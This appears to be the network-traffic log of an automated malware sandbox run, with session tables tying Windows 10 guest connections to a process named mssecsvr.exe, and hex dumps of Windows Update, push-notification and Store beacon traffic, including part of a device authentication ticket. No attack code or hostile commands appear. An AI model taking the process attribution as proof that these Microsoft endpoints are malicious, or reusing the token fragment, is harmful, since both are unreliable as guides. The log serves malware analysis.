2022-07-20 04:07:58 UTC	7169	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:07:58 UTC	7169	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 63 38 66 39 30 34 35 63 33 32 64 31 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 62 Data Ascii: ATH 2 CON\DEVICE 1025Context: 3ac8f9045c32d1d<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmbb
2022-07-20 04:07:58 UTC	7170	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 36 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 63 38 66 39 30 34 35 63 33 32 64 31 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 169Context: 3ac8f9045c32d1d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:07:58 UTC	7170	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:07:58 UTC	7170	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 58 4a 77 5a 58 6a 56 48 30 36 47 4b 4b 71 74 46 69 50 66 64 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VXJwZXjVH06GKKqtFiPfdQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.6	53204	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:58 UTC	7170	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:59 UTC	7171	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 9ec0aec3-423d-40bc-9e8c-deb506dc98d2 MS-RequestId: 8b7ef549-28b2-4b79-865c-49820232f486 MS-CV: 0Vm0HHm7YkmTWtGH.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:58 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:59 UTC	7171	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:59 UTC	7187	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:59 UTC	7203	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.6	54081	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:14 UTC	7206	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130753Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:14 UTC	7207	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a7fd2491-c001-49a5-9c1f-b25accd22f19 Date: Wed, 20 Jul 2022 04:08:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.6	54088	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:14 UTC	7207	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130754Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:14 UTC	7208	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: de1088aa-cf66-417e-a389-90be88347e2a Date: Wed, 20 Jul 2022 04:08:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.6	54092	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:14 UTC	7208	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130755Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:14 UTC	7208	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 472b753a-47b2-498c-8605-61782915dd9d Date: Wed, 20 Jul 2022 04:08:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.6	54106	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:15 UTC	7209	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130756Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:15 UTC	7209	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 20db1fd3-9201-4e82-a431-aa5e030141fd Date: Wed, 20 Jul 2022 04:08:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49733	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:49 UTC	144	OUT	GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:49 UTC	144	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 5777 Content-Type: image/png Last-Modified: Tue, 31 Mar 2020 18:42:54 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTJCQjJGM0E" MS-CV: sE5KrZztTESl/Nvr.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:49 UTC	145	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 16 58 49 44 41 54 78 da ed 9d 0b 98 14 d5 95 c7 4f 55 77 cf 7b 98 27 30 03 0c 32 c0 3c 18 90 a7 02 22 2a 88 1a 5f 49 4c 76 e5 e9 aa c9 ae df ba 8b 49 24 a2 0b 7c 01 8c 51 3f 13 35 2a 2a ba 26 ab 44 57 d7 90 20 a0 e8 b2 20 a2 2c a0 3c 8d b0 40 90 37 01 86 d7 cc 30 d3 33 d3 ef 5b 5b 55 53 d5 73 eb d6 bd 55 d5 f8 98 ae ee 7b f9 ee d7 5d d3 35 35 dd 75 7f fd 3f ff 73 4e 75 23 02 1f 7c 5c c4 10 f9 29 e0 83 83 c3 07 07 87 0f 0e 0e 1f 1c 1c 3e f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 0e 0e 1f 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 3e 38 38 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 3e 04 9b c9 c1 e1 83 0a ca d7 bd 3f 07 27 45 61 f9 ba 8e c5 c1 49 Data Ascii: PNGIHDR0XIDATxOUw{'02<"_ILvI$\|Q?5*&DW ,<@703[[USsU{]55u?sNu#\|\)>\|pp>88\|pp>?'EaI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.6	54151	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:15 UTC	7209	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130800Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:15 UTC	7210	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 80d84b51-26fe-4c4a-a0e3-9ff8723849ff Date: Wed, 20 Jul 2022 04:08:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.6	54157	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:15 UTC	7210	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130801Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:15 UTC	7211	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 42797f46-13ba-435f-be16-4701dd6d6130 Date: Wed, 20 Jul 2022 04:08:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.6	54163	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:15 UTC	7211	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130802Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:15 UTC	7211	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 440c41ba-8eb3-499d-8459-e8f32833359e Date: Wed, 20 Jul 2022 04:08:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.6	54175	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:16 UTC	7212	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130802Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:16 UTC	7212	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: fa0d25a3-e5f3-46c6-b55b-8e9eef3ec175 Date: Wed, 20 Jul 2022 04:08:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.6	54225	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:19 UTC	7212	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130803Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:19 UTC	7213	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: aa02bd56-9287-4b5b-82ce-1d9fd95be6a9 Date: Wed, 20 Jul 2022 04:08:19 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.6	54364	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:19 UTC	7213	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130804Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:20 UTC	7214	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 15ad6fdd-1f9a-4f16-b35b-e9241f0cfa52 Date: Wed, 20 Jul 2022 04:08:19 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.6	54365	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:20 UTC	7214	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130804Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:20 UTC	7215	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1276e6f8-4f17-4ac6-b59c-349b6d24bdd9 Date: Wed, 20 Jul 2022 04:08:19 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.6	54381	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:20 UTC	7215	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130805Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:20 UTC	7215	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 6b786b39-78ae-466d-9c42-1e44a15b1075 Date: Wed, 20 Jul 2022 04:08:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.6	54384	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:20 UTC	7215	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130806Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:20 UTC	7216	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5720d538-56f4-4d89-9445-b0ca014d6ac0 Date: Wed, 20 Jul 2022 04:08:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.6	54437	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:21 UTC	7216	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130806Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
